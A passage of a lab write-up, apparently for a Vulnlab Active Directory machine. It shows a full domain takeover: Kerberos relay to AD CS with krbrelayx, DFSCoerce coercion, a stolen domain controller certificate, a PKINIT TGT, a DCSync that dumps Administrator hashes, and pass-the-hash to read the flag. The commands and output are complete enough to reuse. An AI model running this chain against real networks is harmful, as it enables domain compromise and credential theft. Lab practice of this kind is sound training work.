Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in rosie.powell.ccache
We use krbrelayx.py (with the PULL 51) and start it before coercing:
$ git clone https://github.com/dirkjanm/krbrelayx.git
$ python3 krbrelayx/krbrelayx.py -t 'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC-JPQ225$'
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
We use dfscoerce.py for coercing:
$ git clone https://github.com/Wh04m1001/DFSCoerce.git
$ KRB5CCNAME=rosie.powell.ccache python3 DFSCoerce/dfscoerce.py -k -no-pass 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc-jpq225.cicada.vl
[-] Connecting to ncacn_np:dc-jpq225.cicada.vl[\PIPE\netdfs]
[+] Successfully bound!
[-] Sending NetrDfsRemoveStdRoot!
NetrDfsRemoveStdRoot
ServerName: 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\x00'
RootShare: 'test\x00'
ApiFlags: 1
DFSNM SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
[*] SMBD: Received connection from 10.10.102.165
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] SMBD: Received connection from 10.10.102.165
[*] HTTP server returned status code 200, treating as a successful login
[*] Skipping user DC-JPQ225$ since attack was already performed
[*] GOT CERTIFICATE! ID 16
Exception in thread Thread-5:
Traceback (most recent call last):
File "/usr/lib/python3.13/threading.py", line 1041, in _bootstrap_inner
self.run()
~~~~~~~~^^
File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py", line 38, in run
ADCSAttack._run(self)
~~~~~~~~~~~~~~~^^^^^^
File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py", line 81, in _run
certificate_store = self.generate_pfx(key, certificate)
File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py", line 113, in generate_pfx
p12 = crypto.PKCS12()
^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/cryptography/utils.py", line 68, in __getattr__
obj = getattr(self._module, attr)
AttributeError: module 'OpenSSL.crypto' has no attribute 'PKCS12'
krbrelayx failed caused by an issue with OpenSSL Crypto.
- pyOpenSSL made the following Backward-incompatible changes on 09/03/2024
- Removed the deprecated OpenSSL.crypto.PKCS12 and OpenSSL.crypto.NetscapeSPKI. OpenSSL.crypto.PKCS12 may be replaced by the PKCS#12 APIs in the cryptography package.
Workaround to fix it fomr Fortra impacket - issue 1716:
$ wget http://launchpadlibrarian.net/732112002/python3-cryptography_41.0.7-4ubuntu0.1_amd64.deb
$ sudo dpkg -i python3-cryptography_41.0.7-4ubuntu0.1_amd64.deb
$ wget http://launchpadlibrarian.net/715850281/python3-openssl_24.0.0-1_all.deb
$ sudo dpkg -i python3-openssl_24.0.0-1_all.deb
Then try again the coercion and the krbrelay then the output is ok and we got the PFX certificate:
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.10.102.165
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] SMBD: Received connection from 10.10.102.165
[*] HTTP server returned status code 200, treating as a successful login
[*] Skipping user DC-JPQ225$ since attack was already performed
[*] GOT CERTIFICATE! ID 17
[*] Writing PKCS#12 certificate to ./DC-JPQ225$.pfx
[*] Certificate successfully written to file
Get the TGT of the DC (domain controller) using PKINITtools:
$ git clone https://github.com/dirkjanm/PKINITtools.git
$ python3 PKINITtools/gettgtpkinit.py cicada.vl/dc-jpq225\$ DC-JQ225.ccache -cert-pfx DC-JPQ225\$.pfx
2025-04-19 19:13:07,351 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
zsh: segmentation fault python3 PKINITtools/gettgtpkinit.py cicada.vl/dc-jpq225\$ DC-JQ225.ccache
Hummmm another bug…
Seems related to Mminikerbero, we use this workaround following the PKINITtools - issue 16:
$ virtualenv venv
$ source venv/bin/activate
$ pip3 install minikerberos
Then try again:
$ python3 PKINITtools/gettgtpkinit.py -cert-pfx 'DC-JPQ225$.pfx' 'cicada.vl/DC-JPQ225$' DC-JPQ225.ccache
2025-04-19 19:21:02,174 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-19 19:21:02,387 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-04-19 19:21:13,988 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-04-19 19:21:13,988 minikerberos INFO 20cca6796ff84c7de867862e22358e3ea1388afa79a26201ccd5c9a8c210c608
INFO:minikerberos:20cca6796ff84c7de867862e22358e3ea1388afa79a26201ccd5c9a8c210c608
2025-04-19 19:21:13,989 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Then exit from the virtual env:
$ deactivate
DCSync using this ticket and focus only to get the NTHash of the Domain Admin:
$ KRB5CCNAME=DC-JPQ225.ccache impacket-secretsdump -k -no-pass DC-JPQ225.cicada.vl -just-dc-user Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
Administrator:aes128-cts-hmac-sha1-96:926e5da4d5cd0be6e1cea21769bb35a4
Administrator:des-cbc-md5:fd2a29621f3e7604
[*] Cleaning up...
Finally then grab the root flag:
$ impacket-wmiexec -hashes ':85a0da53871a9d56b6cd05deda3a5e87' cicada.vl/administrator@DC-JPQ225.cicada.vl -k 'type \users\administrator\desktop\root.txt'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] SMBv3.0 dialect used
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
VL{52e815961ba203dee49f562af8f1879b}
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=3ddf6f82-9bcb-4c69-8922-28c8d0700d87
